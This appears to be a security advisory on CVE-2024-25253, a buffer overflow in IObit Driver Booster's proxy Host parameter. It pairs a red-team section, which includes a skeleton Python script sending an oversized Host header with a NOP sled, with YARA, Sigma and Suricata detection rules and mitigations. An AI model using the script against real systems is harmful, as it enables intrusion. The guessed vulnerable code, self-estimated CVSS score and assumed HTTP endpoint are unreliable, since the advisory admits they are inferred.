CVE-2024-25253

Executive Summary

CVE-2024-25253 is a buffer overflow vulnerability discovered in IObit Driver Booster version 10.6. The flaw resides in the Host parameter within the Customize proxy module. An attacker can exploit this by sending a specially crafted, oversized Host header to the application, potentially leading to arbitrary code execution or denial of service. The vulnerability has a public proof-of-concept (PoC) but no official patch has been released as of the latest analysis. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the risk remains significant for users of the affected software.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone Windows application vulnerability.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder. Based on the nature of the vulnerability (buffer overflow in a network-facing parameter), a reasonable estimated CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): High (H) – Potential for arbitrary code execution.
• Integrity (I): High (H) – Potential for code execution.
• Availability (A): High (H) – Potential for denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Estimated Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication and can lead to full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow in the Host parameter of the Customize proxy module in IObit Driver Booster v10.6. The application likely copies the user-supplied Host header value into a fixed-size buffer without proper bounds checking. When an attacker sends an HTTP request with an excessively long Host value, the buffer overflows, overwriting adjacent memory regions. This can corrupt the program's state, potentially allowing an attacker to redirect execution flow to arbitrary code.

The Customize proxy module is used to configure proxy settings for Driver Booster. The Host parameter is part of the proxy configuration and is processed when the application attempts to connect through the proxy. The overflow occurs during the parsing of this parameter.

Vulnerable vs. Patched Code

Since no official patch is available, a direct comparison is not possible. However, the vulnerable code likely resembles:

// Vulnerable code (pseudocode)
char hostBuffer[256];
strcpy(hostBuffer, userSuppliedHost); // No bounds checking

A patched version would use safe string handling functions:

// Patched code (pseudocode)
char hostBuffer[256];
strncpy(hostBuffer, userSuppliedHost, sizeof(hostBuffer) - 1);
hostBuffer[sizeof(hostBuffer) - 1] = '\0';

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• IObit Driver Booster v10.6 installed on a Windows target.
• Network access to the target machine.
• Ability to intercept or modify HTTP traffic to the application.

Exploit Steps:

1. Identify the target machine running Driver Booster v10.6.
2. Use a tool like Burp Suite or a custom Python script to send a crafted HTTP request to the application's proxy configuration endpoint.
3. The Host header should contain a long string of characters (e.g., 1000 'A's) followed by shellcode.
4. The overflow will overwrite the return address, redirecting execution to the shellcode.

Example Python Exploit Script:

import socket

target_ip = "192.168.1.100"
target_port = 80  # Example port

# Craft payload
payload = b"A" * 500  # Overflow buffer
payload += b"\x90" * 100  # NOP sled
payload += b"\xcc" * 200  # INT3 (breakpoint) for testing

# Craft HTTP request with malicious Host header
http_request = b"GET / HTTP/1.1\r\n"
http_request += b"Host: " + payload + b"\r\n"
http_request += b"Connection: close\r\n\r\n"

# Send request
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(http_request)
sock.close()

Note: This is a simplified example. Real exploitation would require precise offset calculation and shellcode generation.

Blue Team (Detection & Defense)

Detection:

• Monitor for unusually long Host headers in HTTP traffic.
• Use network intrusion detection systems (NIDS) to flag oversized headers.
• Enable application logging and monitor for crashes or abnormal behavior in Driver Booster.

Defense:

• Apply the principle of least privilege to the application.
• Use a web application firewall (WAF) to filter oversized headers.
• Isolate the application in a sandbox or virtual environment.
• Monitor for known exploit attempts using the provided detection rules.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests with Host headers exceeding 255 characters.
  • Unusual outbound connections from the Driver Booster process.
• Host:
  • Crash logs from DriverBooster.exe with references to buffer overflow.
  • Presence of shellcode in memory dumps.
• File:
  • Modified configuration files in the Driver Booster installation directory.
  • Unexpected DLLs loaded by DriverBooster.exe.

Detection Engineering

YARA Rule

rule CVE_2024_25253_DriverBooster_BufferOverflow {
    meta:
        description = "Detects exploitation attempts of CVE-2024-25253 in IObit Driver Booster"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-25253"
    strings:
        $s1 = "Host: " ascii wide nocase
        $s2 = "Driver Booster" ascii wide nocase
        $overflow = { 41 41 41 41 } // Pattern of 'A's indicating overflow
    condition:
        $s1 and $s2 and #overflow > 10
}

Sigma Rule

title: CVE-2024-25253 - IObit Driver Booster Buffer Overflow Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP requests with excessively long Host headers targeting IObit Driver Booster
author: Valters IT
date: 2024-01-01
logsource:
    category: network
    product: suricata
detection:
    selection:
        http.host|length: > 255
    condition: selection
falsepositives:
    - Legitimate long hostnames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25253 - IObit Driver Booster Buffer Overflow Attempt"; flow:to_server; content:"Host|3a|"; http_header; pcre:"/^Host:\s.{256,}/mi"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Customize proxy module in Driver Booster if not required.
2. Block oversized HTTP headers at the network perimeter using a WAF or NIDS.
3. Monitor for exploitation attempts using the provided detection rules.

Long-term Fix:

• Vendor Patch: Await an official patch from IObit. As of now, no patch is available.
• Alternative Software: Consider using alternative driver update tools that are actively maintained and patched.
• Application Hardening: Run Driver Booster in a sandboxed environment with limited privileges.

Workaround:

• Manually configure proxy settings via the Windows system proxy settings instead of using the application's Customize proxy module.

Valters IT